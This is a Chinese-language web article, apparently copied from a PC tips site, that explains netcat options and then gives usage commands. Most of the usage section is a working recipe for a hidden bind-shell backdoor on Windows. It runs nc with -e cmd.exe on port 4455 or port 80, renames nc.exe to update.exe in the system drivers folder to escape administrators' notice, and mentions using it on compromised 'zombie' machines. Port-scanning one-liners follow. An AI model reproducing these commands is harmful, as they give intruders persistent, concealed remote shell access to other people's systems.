-v 控制nc将要做的事情达到的程度,如使用nc -v,那么nc将仅吐出它所接收到的数据,一个单独的-v可以知道它连接或绑定的地址是否有问题发生,第2个-v可以让nc在一个连接结束的时候让你知道这个连接总共发送和接收了多少数据。
-w控制在一个连接上nc放弃之前等待的时间。同时也告诉nc当在标准输入上接收到一个eof(end-of-file)之后应该等待多长时间 来关闭连接并退出。如果你通过nc向远程服务器发送命令并且期望大量的数据返回(例如:向一台web服务器发送一个http命令以下载一个大文件),该选 项是很有用的。
nc的具体使用
c:nc.exe -l -p 4455 -d -e cmd.exe 可以很好的隐藏一个netcat后门。
c:nc.exe -p 4455 -d -L -e cmd.exe 这个命令可以让黑客利用netcat重新返回系统,直到系统管理员在任务管理器中看见nc.exe在运行,从而发现这个后门,我们一样可以把它做的更加隐蔽,
c:move nc.exe c:windowssystem32Driversupdate.exe
c:windowssysteme32driversupdate.exe -p 4455 -d -L -e cmd.exe
系统管理员可能把特权附属于一些无害的程序,如update.exe等,黑客也可以隐藏命令行。
c:windowssystme32driversupdate.exe
cmd line: -l -p 4455 -d -L -e cmd.exe
c:>
nc -l - p 80 80端口
nc -l -p 80 >c:log.dat 80端口,并把信息记录到log.dat中
nc -v -l -p 80 80端口,并显示端口信息
nc -vv -l -p 80 80端口,显示更详细的端口信息
nc -l -p 80 -t -e cmd.exe本地的80端口的入站信息,同时将cmd.exe重定向到80端口,当有人连接的时候,就让cmd.exe以telnet的形式应答。当然这个最好用在控制的肉鸡上。
nc -v ip port 扫瞄某IP的某个端口
nc -v -z ip port-port扫描某IP的端口到某端口
nc -v -z -u ip port-port扫描某IP的某UDP端口到某UDP端口
以上就是关于netcat的全部内容,相信你一定会非常满意。
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/tongxinshuyu/article-18156-2.html
不会是竞争对手